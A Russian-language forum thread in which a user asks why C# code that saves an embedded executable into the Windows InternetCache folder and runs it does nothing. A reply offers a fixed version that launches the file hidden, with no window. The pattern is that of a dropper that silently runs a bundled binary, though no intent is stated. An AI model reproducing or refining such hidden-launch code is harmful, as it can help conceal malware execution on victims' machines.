Чет у меня не фига не работает и ошибок нет я хз уже. Может кто знает в чем проблема? public static String file_exe = Environment.GetFolderPath(Environment.SpecialFolder.InternetCache) + "2.exe"; public void Run() { FileStream fs = new FileStream(file_exe, FileMode.Create); fs.Write(Properties.Resources.2, 0, Properties.Resources.2.Length); fs.Close(); Process.Start(file_exe); } Код public static String file_exe = Environment.GetFolderPath(Environment.SpecialFolder.InternetCache) + "2.exe"; public void Run() { FileStream fs = new FileStream(file_exe, FileMode.Create); fs.Write(Properties.Resources.2, 0, Properties.Resources.2.Length); fs.Close(); Process.Start(file_exe); }
Наверно путь указал, более чем уверен --- Сообщение объединено с предыдущим 7 окт 2021 Выведи переменную "file_exe" и сравни путь к исполняемому файлу
namespace bumerset { using System; using System.Diagnostics; using System.IO; public static class Test { public static readonly string file_exe = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.InternetCache), "2.exe"); public static void Run() { // Сохранение файла из ресурса на диск File.WriteAllBytes(file_exe, Properties.Resources.Analyser); // Установка параметров для запуска процесса var startInfo = new ProcessStartInfo { FileName = file_exe, // Имя файла который запускаем CreateNoWindow = true, // Без окна WindowStyle = ProcessWindowStyle.Hidden // Скрытый запуск файла }; // Запуск процесса using var info = Process.Start(startInfo); info?.Start(); // Обновление info.Refresh(); // Process.Start(file_exe); } } } Код namespace bumerset { using System; using System.Diagnostics; using System.IO; public static class Test { public static readonly string file_exe = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.InternetCache), "2.exe"); public static void Run() { // Сохранение файла из ресурса на диск File.WriteAllBytes(file_exe, Properties.Resources.Analyser); // Установка параметров для запуска процесса var startInfo = new ProcessStartInfo { FileName = file_exe, // Имя файла который запускаем CreateNoWindow = true, // Без окна WindowStyle = ProcessWindowStyle.Hidden // Скрытый запуск файла }; // Запуск процесса using var info = Process.Start(startInfo); info?.Start(); // Обновление info.Refresh(); // Process.Start(file_exe); } } }